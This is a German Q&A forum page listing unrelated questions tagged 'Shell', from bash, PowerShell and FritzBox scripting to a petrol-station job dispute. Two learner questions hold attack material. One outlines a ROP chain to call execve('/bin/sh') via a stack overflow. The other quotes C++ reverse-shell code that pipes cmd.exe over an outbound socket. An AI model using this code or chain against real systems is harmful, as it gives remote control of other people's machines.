Hilfe bei diesem einfachen Bash-Skript?

Ich will dass das Programm wenn ich auf "gruppen anzeigen" klicke mir alle Gruppen im System im Dialig angezeigt werden und das Programm beendet wird wenn ich auf "beenden" klicke. Aber irgendwie kommt entweder ein Fehler dass bei mir das "fi" fehlt was nicht stimmt. Oder es werden die Gruppen auch angezeigt wenn ich auf beenden klicke. Ich habe versucht die If-Anweisungen zu löschen und dann nach  wahl=$(cat $inhalt) ein echo zu machen. Und bei mir wird immer "1" ausgegeben egal auf was ich drücke. Wobei ich eig. Wenn ich auf "beenden" klicke dann sollte "Ende" rauskommen" oder ?

#!/bin/bash
#
inhalt=$(mktemp)
auswahl(){
 dialog --backtitle "Elemente anzeigen"  --title "Elemente zeigen" \
        --cancel-label "Abbruch" \
        --checklist "Bitte treffen Sie Ihre Auswahl!" 10 50 3 \
        "1." "Gruppen anzeigen im Dialig" on \
        "Ende." "Programm beenden" off \
        2>$inhalt
 fehler=$?
 clear
 if [ $fehler != 0 ] ;
  then
   echo "Da ist ein Fehler aufgetreten"
   echo "Fehler-Nr.: $fehler"
   rm $inhalt
   exit 1
 fi
 wahl=$(cat $inhalt)


 if [ "$wahl" == "1." ]; then
     dialog --backtitle "Ausgabe von Gruppen" \
            --msgbox "$(groups)" 20 60 \
 fi


 rm $inhalt
}


while :
 do
  auswahl
 done


Betriebssystem, Technik, Linux, HTML, Webseite, Java, JavaScript, VBA, Bash, Batch, cmd, Informatik, Informationstechnik, PHP, Programmiersprache, Python, Shell, Webentwicklung
Wie kriege ich mit ROP einen "/bin/sh" Pointer in rdi?

Ich versuche, rücksprungorientierte Programmierung (ROP) zu lernen.

Und zwar habe ich ein Programm mit einem Pufferüberlauf auf dem Stack, und ich möchte das Programm dazu bringen, /bin/sh zu öffnen.

Das geht mit dem execve Syscall, wenn ich die richtigen Instruktionen finden kann, um die Funktionsparameter vorzubereiten. Das ist die Signatur von execve:

int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);

Also muss ich die folgenden Register setzen:

  • rax = 0x3b (Syscallnummer von execve)
  • rdi = "/bin/sh" Pointer
  • rsi = NULL
  • rdx = NULL

Die folgenden Instruktionen habe ich bereits gefunden:

pop rax ; ret
pop rdi ; ret
pop rsi ; ret
pop rdx ; ret
syscall

Ich kann also die Instruktionen und Registerwerte mit dem Pufferüberlauf auf den Stack schreiben und so meine Register füllen. Das Problem ist aber, dass ich einen "/bin/sh" Pointer in rdi brauche (also nicht "/bin/sh" im Register, sondern eine Speicheradresse, an der "/bin/sh" steht).

Ich kann natürlich "/bin/sh" in den Puffer auf dem Stack schreiben, aber leider ist die Speicheradresse jedes Mal anders und ich kenne sie vorher nicht.

Ich weiß, dass "/bin/sh" in libc vorkommt, aber auch dort ist die Speicheradresse jedes Mal anders und ich kenne sie vorher nicht.

Wie komme ich also an einen "/bin/sh" Pointer? Gibt es Tricks oder bestimmte Instruktionen, nach denen ich mich umsehen sollte?

hacken, Hack, Programm, programmieren, pointer, Assembler, Hacker, Hacking, Informatik, IT-Sicherheit, Shell, stack, x64, assemblersprache, Assembly, Exploit, hacken lernen, IT-Sicherheitsexperte, Register, Capture The Flag
FritzBox DECT-SmartHome per Bash-Script - Unerwartetes Dateiende?

Moinsen, kann mir evtl jemand sagen, warum ich den Fehler: "Unerwartetes Dateiende" bekomme, wenn ich das Script von dieser Seite ausführe?

smart_fritz_terminal.sh

Sehe da keinen Fehler. Bin aber auch kein Bash-Skript Profi.
Weiß nicht immer genau was wo zu beachten ist.
Hoffe mir kann jemand helfen den Fehler zu finden.

Falls der Link nicht geht oder sich die Datei irgendwie ändern sollte, hier nochmal zusätzlich der Quelltext direkt.

#!/bin/bash
# Die Adresse der Fritzbox
# Beispiele:
# fbox="https://192.168.178.1:444" # SSL-Verschlüsselt, Port 444
# fbox="http://192.168.178.1" # http normal, Port 80
# fbox="abcdef28kk6oabcdef.myfritz.net:444" # myfritz-Adresse, SSL, Port 444
# fbox="https://[2001:a00:12b7:c300:a00:a000:feed:921c]:444" # IPv6-Adresse, SSL, Port 444

#################
# Konfiguration #
fbox="http://192....." # Bitte Adresse eintragen
# Bei https, Ausnahme für selbst signiertes Zertifikat, sonst leer lassen
INSECURE= 
#INSECURE="--insecure" 

# Vollständige Anzeige: full, leer lassen für schnellere Ergebnisse
VIEW="full"
# das bei der Fritzbox konfigurierte Passwort
# unter System->FRITZ!Box-Benutzer->Anmeldung im Heimnetz
# Ist die Option "Anmeldung mit dem FRITZ!Box-Kennwort" aktiv
# genügt das Passwort für die Anmeldung

PASSWD="geheim"
# Der Benutzernamen für die Fritzbox
# Dieser lässt sich unter "System -> FRITZ!Box-Benutzer" erstellen.
# Dann kann man die Option
# "Anmeldung mit FRITZ!Box-Benutzernamen und Kennwort" aktivieren

USER="MeinName" 
#################
if [ "$fbox" = "" ]; then
if [ "$fbox" = "" ]; then
echo Bitte Fritzbox Adresse im Script eintragen
exit 1
fi

RED='\033[0;31m'
GREEN='\033[0;32m'
CYAN='\033[0;36m' 
YELLOW='\033[0;33m'
NC='\033[0m'
CURL=$(which curl) 
MD5SUM=$(which md5sum)
ICONV=$(which iconv)
AWK=$(which awk)

# Die SmartHome-Seite der Fritzbox
CURLCMD="$CURL $INSECURE -s $fbox/webservices/homeautoswitch.lua"

# Funktion zum Ermitteln der SID / Anmeldung bei der Fritzbox
get_sid() {
SID=$($CURL $INSECURE -s $fbox/login_sid.lua | sed 's/.*<SID>\(.*\)<\/SID>.*/\1/')
if [ "$SID" = "0000000000000000" ]; then
challenge=$($CURL $INSECURE -s $fbox/login_sid.lua |  grep -o "<Challenge>[a-z0-9]\{8\}" | cut -d'>' -f 2)
echo challenge: $challenge
CPSTR="$challenge-$PASSWD"
hash=`echo -n $CPSTR | $ICONV -f ISO8859-1 -t UTF-16LE | $MD5SUM -b | $AWK '{print substr($0,1,32)}'`
echo MD5: $hash
RESPONSE="$challenge-$hash"
POSTDATA="?username=$USER&response=$RESPONSE"
SID=$($CURL $INSECURE --data "$POSTDATA" -s $fbox/login_sid.lua | sed 's/.*<SID>\(.*\)<\/SID>.*/\1/')
fi
echo SID: $SID
}

# Funktion zum Ermitteln von Werten
get_value() {
RESULT=""
if [ "$2" = "" ]; then
RESULT=$($CURLCMD"?sid=$SID&switchcmd=$1")
else
RESULT=$($CURLCMD"?sid=$SID&ain=$2&switchcmd=$1")
fi
}

get_sid # SID holen
if [ "$SID" = "0000000000000000" ]; then
echo -e  "${RED}Anmeldung fehlgeschlagen ${NC}"
exit 1
fi
if [ "$SID" = "" ]; then
echo -e  "${RED}Anmeldung fehlgeschlagen ${NC}"
exit 1
fi

echo -e  "${GREEN}Anmeldung erfolgreich ${NC}"
echo

# Liste der Schalter ermitteln
get_value getswitchlist
COUNTER=0
IFS=', ' read -r -a array <<< "$RESULT"

# Werte der Schalter holen
for AIN in "${array[@]}"
do
let COUNTER=COUNTER+1 
echo -e  "${YELLOW}Actor #$COUNTER ${NC}"
switchpresent=0
get_value getswitchname $AIN
echo -e  "${CYAN}Name: $RESULT ${NC}"
get_value getswitchpresent $AIN
echo AIN: $AIN
echo Connected: $RESULT
if [ "$RESULT" = "1" ]; then
# bei aktiven Schaltern 
# Parameter verarbeiten, etwa: 1 on
if [ "$1" = "$COUNTER" ]; then
  if [ "$2" = "on" ]; then
    get_value setswitchon $AIN
	echo "set #$COUNTER on"
  fi	
    if [ "$2" = "off" ]; then
      get_value setswitchoff $AIN
	  echo "set #$COUNTER off"
    fi	
    if [ "$2" = "toggle" ]; then
      get_value setswitchtoggle $AIN
	  echo "set #$COUNTER toggle"
    fi	
fi
  
  # Alle Werte ermitteln/ausgeben (langsamer)
  if [ "$VIEW" = "full" ]; then
   get_value getswitchstate $AIN
   echo State: $RESULT
   get_value getswitchpower $AIN
   switchpower=`awk "BEGIN {printf \"%.2f\n\", $RESULT/1000}"`
   echo Power: $switchpower W
   get_value getswitchenergy $AIN
   echo Energy: $RESULT Wh
   get_value gettemperature $AIN
   temperature=`awk "BEGIN {printf \"%.1f\n\", $RESULT/10}"`
   echo Temperature: $temperature °C
   echo
  fi 
fi

done
exit 0
  
Bash, DECT, FRITZ!Box, lua, Script, Shell, Terminal, sh, Smart Home
Ubuntu /etc/bin/bluetooth/main.conf Standard inhalt zurück bekommen?

Hab bisschen mist gebaut denke ich und bräuchte die Standart werte von Ubuntu 23.04 von einer Guten Quelle oder direkt von dem Source Code, leider nicht auf Github gefunden.

Wollte eigentlich nur meine Air Pods Pro 2 Fixen da immer nur einer gleichzeitig Musik abspielen konnte.
Der andere war wahrscheinlich als ein Mikrofon eingestellt da auch unter Klang und Eingang Air Pods eingestellt war uwas ich nicht will das das System überhaupt ein Mikro benutzt. Aber man muss eins wählen in diesem Options ding.

Und ja hab schon versucht von ControllerMode = bredr auf dual zu wechseln, deswegen geht es überhaupt erst auf einem ohr aber nicht auf beiden.
Ich muss auch bei jedem neustart des Pcs oder nach einer weile die Air Pods wieder erneut trennen und verbinden über bluetooth.
Das läuft dann jeden tag so ab : komplett entfernen, Case öffnen mit beiden air pods drinne.
taste auf der rückseite gedrückt halten bis es einen sound macht und weiss leuchtet.
auf verbinden klicken sobald es ubuntu erkennt und warten.
dann nehme ich erstmal einen kopfhörer raus und gucke ob sound kommt, es kommt keiner dann nehme ich den zweiten aus der case raus und da spielt sich dann musik ab.

das ist alles unmöglich zu benutzen und andere Kopfhörer hab ich leider zurzeit nicht. Meine overear mit aux sind kaputt gegangen und ich will auch keine Overear mehr weil ich dadurch haarausfall erleide, mit in ears hab ich keine Probleme.

PC, Server, Apple, Computer, Windows, Betriebssystem, Technik, Bluetooth, Linux, IT, Programmierer, Ubuntu, Bash, developer, Fachinformatiker, Informatik, Informatiker, IT-Sicherheit, Linux Mint, macOS, netzwerkadministrator, Netzwerktechnik, Open Source, openSUSE, OS, Programmiersprache, Script, Shell, Treiber, Unix, Arch Linux, Konfiguration, Systemwiederherstellung, Texteditor, Bluetooth-Kopfhörer, Dateisystem, Debian, PowerShell, Windows 10, github, Manjaro, Windows 11, AirPods, Air Pods Pro
Kalifornien verklagt große Ölkonzerne - Was haltet ihr davon?

"Der US-Bundesstaat Kalifornien verklagt fünf der weltgrößten Ölkonzerne. Es geht um Umweltschäden und den Vorwurf der Irreführung. Kalifornien reichte Klage gegen die Unternehmen ExxonMobil, Shell, BP, ConocoPhilips und Chevron sowie gegen den Industrieverband American Petroleum Institute ein, wie aus Gerichtsdokumenten hervorgeht."

"Die Manager der Öl- und Gasunternehmen hätten »seit Jahrzehnten gewusst, dass eine Abhängigkeit von fossilen Energieträgern zu diesen katastrophalen Ergebnissen führen würde«, heißt es in der eingereichten Klage."

https://www.spiegel.de/wissenschaft/kalifornien-verklagt-weltgroesste-oelfirmen-wegen-klimawandels-a-aaf40f40-f151-475a-9cc0-0af954b48fbf

" Wie Shell sein Wissen über den Klimawandel geheim hielt

Vertrauliche Shell-Studie

Wie ein Ölkonzern sein Wissen über den Klimawandel geheim hielt

Geheimdokumente zeigen: Shell wusste schon vor 30 Jahren im Detail über den Treibhauseffekt Bescheid - und entschied zu schweigen.

Vor mehr als 30 Jahren wollten auch Manager des niederländisch-britischen Mineralölriesen Shell wissen, ob der Klimawandel real sei. Zu einer Zeit, als außerhalb elitärer Forscherzirkel noch kaum jemand über dieses Thema sprach, beriefen sie sechs konzerneigene Wissenschaftler in die "Arbeitsgruppe Treibhauseffekt".

Das Gremium tauchte tief ein in die verfügbare Literatur und befragte Experten. Im April 1986 schloss es seine Untersuchung ab. Zwei Jahre später legte es intern einen knappen Bericht vor mit dem Vermerk "Vertraulich".

Jetzt ist das bemerkenswerte Werk wieder aufgetaucht (einsehbar auf der Internetplattform www.climatefiles.com). Der Shell-Report zum Klimawandel bietet 31 Seiten Schocklektüre plus Anhang. Hellsichtig und in glasklarer Sprache schildern die Konzernforscher darin ohne einen Anflug von Zweifel, wie das bei der Verbrennung von fossilen Energieträgern freigesetzte Kohlendioxid die Erde aufheizen wird - "nicht zu Lebzeiten der gegenwärtigen Entscheider", wohl aber zu denen ihrer Kinder und Enkel."

" Auf den Planeten kämen Veränderungen zu, notierten die Autoren schon damals, die größer sein würden als alle anderen in den vergangenen 12000 Jahren. Eine Vielzahl der Phänomene, die heute von Klimaforschern diskutiert und teilweise auch in der Natur beobachtet werden, hatten die Shell-Forscher bereits auf dem Schirm - den steigenden Meeresspiegel, den Schwund der Korallenriffe, die Abnahme der polaren Eismassen, die wachsende Instabilität von Ökosystemen, die existenzielle Bedrohung für Länder wie Bangladesch, häufigere Extremwetterereignisse.

Für die Menschheit, so schrieben die Auguren, bedeute das alles nichts Gutes. Die Versorgung mit Trinkwasser und Nahrungsmitteln werde wohl schwieriger, der Wohlstand sei in Teilen der Welt bedroht, manchenorts seien massive Umsiedlungen unvermeidbar. "Solch relativ schnelle und dramatische Veränderungen", so raunten die Shell-Vordenker, würden "bedeutende soziale, wirtschaftliche und politische Konsequenzen" nach sich ziehen."

https://www.spiegel.de/spiegel/wie-shell-sein-wissen-ueber-den-klimawandel-geheim-hielt-a-1202889.html

Sehr gut 65%
Andere Antwort 17%
Eher schlecht 13%
Sehr schlecht 4%
Eher gut 0%
Finanzen, Natur, Familie, Umwelt, Betrug, Menschen, Politik, Klimawandel, Gesellschaft, Klima, Shell, Philosophie und Gesellschaft, Abstimmung, Umfrage
PowerShell Skript ist zu langsam?

Der Code ist für unser Betriebs Netzwerk zu langsam. Lokal funktioniert alles super. Wie kann man den Code schneller machen?

Code:

$desktopFolder=[Environment]::GetFolderPath('Desktop')
$VonOrdner="\\deploy\deployment$\log\EmpPackages"
$global:NachOrdner="$desktopFolder\test2"
$Dateiname="Alle2.log"


Copy-Item "$VonOrdner\$Dateiname" $global:NachOrdner
  #Inhalt der KopiertestServer.txt Datei einlesen
$global:VergleichsString=try{[System.IO.File]::ReadAllText("$VonOrdner\$Dateiname")}catch{}  


New-Item $global:NachOrdner -ItemType "directory" -force #Ordner anlegen falls er nicht existiert


$watcher=New-Object System.IO.FileSystemWatcher
$watcher.Path=$VonOrdner
$watcher.Filter=$Dateiname
$watcher.IncludeSubdirectories=$false
$watcher.EnableRaisingEvents=$false 


$action={


  $changeType = $Event.SourceEventArgs.ChangeType
  $VonPfad = $Event.SourceEventArgs.FullPath
  $SourceDatei = $Event.SourceEventArgs.Name
  $NachPfad = "$global:NachOrdner\$SourceDatei"


    #Den neuen Inhalt einlesen
  $NeuerInhalt=try{[System.IO.File]::ReadAllText($VonPfad)}catch{}
    
  Write-Host "Start" 


  #Ab hier hängt sich auf
  #---------------------------------------------------------------------------------------------------------------------
  $Unterschied=$NeuerInhalt -replace "^$global:VergleichsString",''
  #---------------------------------------------------------------------------------------------------------------------


    #Ausgabe des Unterschiedes
  Write-Host "Unterschied: $Unterschied" -fo red
  [System.IO.File]::AppendAllText($NachPfad,$Unterschied)
    #vergleichsstring updaten
  $global:VergleichsString=$NeuerInhalt
}


Register-ObjectEvent $watcher "Changed" -Action $action|Out-Null


while ($true) {
  sleep 1
}
programmieren, Shell, PowerShell
Einarbeitung bei Tankstelle Shell - unbezahlt?

Hallo,

Ich habe vor Kurzem einen Minijob gesucht und bin dann auf die Anzeige der Shell - Tankstelle gestoßen, da dort momentan mehrere Mitarbeiter gesucht werden. 

Ich hatte dann Anfang Februar ein Vorstellungsgespräch (oder ihr könnt es auch ruhig Bewerbungsgespräch nennen) mit dem Geschäftsführer, um alle Einzelheiten zu besprechen. Nach einem Gespräch etc. wurde mir schon die Arbeitskleidung gegeben und die Vergütung wurde geklärt. Dabei hatten wir auch schon direkt Termine für Einarbeitungsschichten vereinbart, es war die Rede von drei. Außerdem wurde mir versichert, dass diese Schichten „selbstverständlich“ - wie jede anderen Schicht - ausgezahlt werden. 

Dazu kommt, dass wir schon vor meiner ersten Schicht den ganzen Papierkram geklärt hatten und ich den Vertrag dementsprechend unterschrieben hatte. 

Nach diesen drei Einarbeitungsschichten habe ich jedoch für mich persönlich festgestellt, dass der Job doch nichts für mich. Letzte Woche ruf mich der Geschäftsleiter wieder an und hat gefragt, wie es aussieht, da ja bald schon die Schichtpläne für März erstellt werden etc. und habe dann gefragt, ob ich nicht vielleicht doch noch eine Einarbeitungsschicht bekommen könnte, damit ich mir komplett sicher bin, ob ich das machen möchte oder nicht. Er meinte zu mir, dass das kein Problem sei. Gestern hatte ich dann meine vierte Einarbeitungsschicht und saß danach im Büro mit ihm, da er extra an dem Tag die Filiale besucht hatte. Obwohl ich mich sicherer gefühlt hatte, stand mein Entschluss fest: Ich habe ihn gesagt, dass ich da nicht weiterarbeiten möchte. Danach hat er erklärt, dass wegen meiner Einarbeitung sehr viele Kosten für das Unternehmen aufgekommen sind UND dass die mir meine vier Einarbeitungsschichten NICHT bezahlen. 

In dem Moment war ich extrem überrascht/schockiert und wusste nicht, was ich sagen soll. Ich habe dann aber erwähnt, dass er mir Anfang (vor der ersten Schicht) wirklich versichert hatte, dass die Einarbeitung von mir bezahlt werde. Darauf erwiderte er nur, dass er aus „menschlicher Sicht“ mich verstehen kann, aber dass ich auch die Sicht des Unternehmens verstehen müsse. Zum Schluss meinte er dann nur, dass er nochmal „gucken werde“ und dass WENN ÜBERHAUPT ich nur die Hälfte bezahlt bekommen könnte. 

Ist das rechtlich legal? Darf man das überhaupt machen? Es war ja nie meine Intention, dort die Einarbeitungsschichten zu machen und dann dort aufzuhören. Allerdings hat mir der Job einfach nicht gefallen. Das ist aber noch lange kein Grund, mir das dann nicht zahlen zu wollen. Kennt ihr euch da besser aus? Was soll ich tun? 

Ich dachte jetzt daran, ihn morgen einfach anzurufen. Doch ob das was ändern wird….  

Auto, Finanzen, Geld verdienen, Geldanlage, Kündigung, Rechtsanwalt, Geld, Nebenjob, Gas, Arbeitsspeicher, Bezahlung, Recht, Anwalt, Minijob, Arbeitsrecht, Arbeitgeber, Arbeitnehmer, Arbeitsvertrag, tanken, Gesetz, Anwaltskosten, Arbeiten von zuhause, arbeitgeberrecht, Arbeitsamt, Arbeitsverhältnis, Arbeitsvermittlung, Arbeitsverträge, bezahlen, Chef, Diesel, Dieselmotor, Experten, Finanzamt, Finanzierung, Geldstrafe, Gesellschaft, Gesetzeslage, gesetzliche Krankenversicherung, Jura, Jurastudium, kündigen, Kündigungsfrist, Logisch, Logisches Denken, Logitech, Meinung, Meinungsfreiheit, Moral, Preis, Preisvergleich, preiswert, Rechtslage, Shell, Student, Tankstelle, Teilzeit, Arbeitgeberwechsel, boss, Fragestellung, Preiserhöhung, Studentenjob, Vollzeit, Arbeiten gehen, arbeiten-in-deutschland, Arbeitgeberzuschuß, Arbeitnehmerrecht, arbeitsverweigerung, bezahlungsart, Einarbeitung, Ethik und Moral, Eure Meinung, Eure Meinungen, Finanzen und Geld, Meinungsäußerung, Meinungsverschiedenheit, Minijob-Zentrale, moralisch verwerflich, Rechtliche Lage, rechtliche Schritte, suche-song, Vollzeitarbeit, Vollzeitjob, vollzeitstelle, Rechtliches Problem, Tankstellenjob, Suche, Dieselskandal, Philosophie und Gesellschaft
Was bedeutet dieser Code grob - Reverse Shell?

Tach, ich habe mir aus langeweile den Code einer Reverse Shell in c++ angesehen und ich frage mich was folgender Code bedeutet. Ich verstehe nur einzelne Teile und ich würde gerne eine grobe Erklärung bekommen, was der Code tut. (vollen Code auf https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp)

if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
	            closesocket(mySocket);
	            WSACleanup();
	            continue;
	        }
	        else {
	            char RecvData[DEFAULT_BUFLEN];
	            memset(RecvData, 0, sizeof(RecvData));
	            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	            if (RecvCode <= 0) {
	                closesocket(mySocket);
	                WSACleanup();
	                continue;
	            }
	            else {
	                char Process[] = "cmd.exe";
	                STARTUPINFO sinfo;
	                PROCESS_INFORMATION pinfo;
	                memset(&sinfo, 0, sizeof(sinfo));
	                sinfo.cb = sizeof(sinfo);
	                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
	                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
	                WaitForSingleObject(pinfo.hProcess, INFINITE);
	                CloseHandle(pinfo.hProcess);
	                CloseHandle(pinfo.hThread);
	

	                memset(RecvData, 0, sizeof(RecvData));
	                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	                if (RecvCode <= 0) {
	                    closesocket(mySocket);
	                    WSACleanup();
	                    continue;
	                }
	                if (strcmp(RecvData, "exit\n") == 0) {
	                    exit(0);
	                }
	            }
Computer, IT, programmieren, Hacking, Informatik, Shell, C (Programmiersprache)
(Neo)Vim Coc-extension wirft einen Fehler?

Guten Abend miteinander,

ich wollte fragen, ob hier vielleicht jemand (Neo)Vim mit der Coc-extension nutzt und mir bei einem Problem helfen kann?

Und zwar wollte ich einen language server hinzufügen, damit ich autocompletion für C++ nutzen kann. Ich habe also meine coc-settings.json erzeugt und geöffnet, sie war (logischerweise) komplett leer und ich habe sie auch am richtigen Speicherort erstellt, denn sie lässt sich aus Vim heraus mit :CocConfig öffnen.

Nun bin ich der Anleitung gefolgt,

:CocConfig, which will open main config file ~/.config/nvim/coc-settings.json
(empty for new installation). Add empty JSON object (like
{})

In die geschweiften Klammern habe ich nun den ccls language server eingefügt

https://github.com/neoclide/coc.nvim/wiki/Language-servers#ccobjective-c

Leider meldet sich beim öffnen von nvim jedoch immer eine Fehlermeldung und zwar:

Error detected while processing /home/xyz/.config/nvim/coc-settings.json:                                                                                                   
line   1:                                                                                                                                   E492: Not an editor command: { line  10:                                                                                                                                  E492: Not an editor command:        }   line  11:                                                                                                                                  E492: Not an editor command:      }

... und noch ein paar gleiche Zeilen mehr, kurzum er hat was gegen die geschweiften Klammern bzw das .json Format?

Ich weiß leider nicht was ich falsch gemacht habe und wie ich es löse, kann mir jemand helfen?

Ich freue mich über jede Antwort!

Computer, Technik, Linux, programmieren, Cplusplus, Shell

Meistgelesene Fragen zum Thema Shell